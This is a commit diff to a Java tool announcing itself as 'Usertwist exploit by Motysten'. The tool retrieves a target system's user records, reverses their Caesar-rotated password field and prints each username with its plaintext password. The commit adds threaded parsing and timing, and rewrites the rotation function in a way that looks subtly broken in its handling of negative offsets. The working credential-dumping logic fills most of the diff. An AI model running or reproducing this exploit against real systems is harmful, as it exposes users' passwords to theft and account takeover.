Simplified elapsed time calculating

src/fr/motysten/usertwist/exploit/Main.java

@@ -1,6 +1,6 @@
 package fr.motysten.usertwist.exploit;
 
-import fr.motysten.usertwist.exploit.tools.Cesar;
+import fr.motysten.usertwist.exploit.tools.Parser;
 import fr.motysten.usertwist.exploit.tools.Request;
 import org.json.JSONArray;
 import org.json.JSONObject;
@@ -13,6 +13,7 @@ import java.io.InputStreamReader;
 import java.net.http.HttpResponse;
 import java.security.KeyManagementException;
 import java.security.NoSuchAlgorithmException;
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -24,10 +25,15 @@ public class Main {
     public static String port = "443";
     public static int rotation = 4;
     public static boolean insecure = false;
+    public static boolean asynchronous = true;
 
     public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
         BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
 
+        if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
+            asynchronous = false;
+        }
+
         System.out.println("Usertwist exploit by Motysten");
         System.out.println("Please don't use for unethical purpose !\n");
         String readLine;
@@ -124,13 +130,15 @@ public class Main {
         System.out.println(usersArray.length() + " users found !");
         System.out.println("\nDecrypting passwords...\n");
 
-        for (int i = 0; i < usersArray.length(); i++) {
-            JSONObject user = usersArray.getJSONObject(i);
-            String login = user.getString("username");
-            String password = Cesar.cesarRotate(user.getString("data"), rotation);
-
-            System.out.println((i + 1) + ". " + login + " => " + password);
+        float startTime = System.nanoTime();
+        if (asynchronous) {
+            Parser.asyncGetPass(usersArray, rotation);
+        } else {
+            Parser.getPass(usersArray, rotation);
         }
+        float elapsedTime = (System.nanoTime() - startTime) / 1000000;
+        System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");
+
     }
 
 }

src/fr/motysten/usertwist/exploit/tools/Cesar.java

@@ -1,33 +1,33 @@
 package fr.motysten.usertwist.exploit.tools;
 
+import java.util.stream.Collectors;
+
 public class Cesar {
 
-    public static final String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
-    public static final String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
+    public static String rotate(String input, int offset) {
+        char normalizeKey = (char) (offset % 26);
 
-    public static String cesarRotate(String input, int offset) {
-
-        while (offset < 0) {
-            offset += 26;
-        }
-
-        StringBuilder output = new StringBuilder();
-
-        for (int i = 0; i < input.length(); i++) {
-            char newChar = input.charAt(i);
-            if (!Character.isDigit(input.charAt(i))) {
-                int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
-                int newPos = (pos + offset) % 26;
-                if (Character.isUpperCase(input.charAt(i))) {
-                    newChar = UPPER_ALPHABET.charAt(newPos);
-                } else {
-                    newChar = LOWER_ALPHABET.charAt(newPos);
-                }
-            }
-            output.append(newChar);
-        }
-
-        return output.toString();
+        return input.chars()
+                .mapToObj(c -> (char) c)
+                .map(c -> {
+                    if (Character.isLetter(c)) {
+                        char base;
+                        if (Character.isUpperCase(c)) {
+                            base = 'A';
+                        } else {
+                            base = 'a';
+                        }
+                        if (offset < 0) {
+                            return (char) (base + (c - base + normalizeKey) % 26);
+                        } else {
+                            return (char) (base + (c - base - normalizeKey + 26) % 26);
+                        }
+                    } else {
+                        return c;
+                    }
+                })
+                .map(String::valueOf)
+                .collect(Collectors.joining());
     }
 
 }

src/fr/motysten/usertwist/exploit/tools/Parser.java

@@ -0,0 +1,33 @@
+package fr.motysten.usertwist.exploit.tools;
+
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+public class Parser {
+
+    public static void getPass(JSONArray usersArray, int rotation) {
+        for (int i = 0; i < usersArray.length(); i++) {
+            JSONObject user = usersArray.getJSONObject(i);
+            String login = user.getString("username");
+            String password = Cesar.rotate(user.getString("data"), rotation);
+
+            System.out.println((i + 1) + ". " + login + " => " + password);
+        }
+    }
+
+    public static void asyncGetPass(JSONArray usersArray, int rotation) {
+
+        for (int i = 0; i < usersArray.length(); i++) {
+
+            int finalI = i;
+            new Thread(() -> {
+                JSONObject user = usersArray.getJSONObject(finalI);
+                String login = user.getString("username");
+                String password = Cesar.rotate(user.getString("data"), rotation);
+
+                System.out.println((finalI + 1) + ". " + login + " => " + password);
+            }).start();
+        }
+    }
+
+}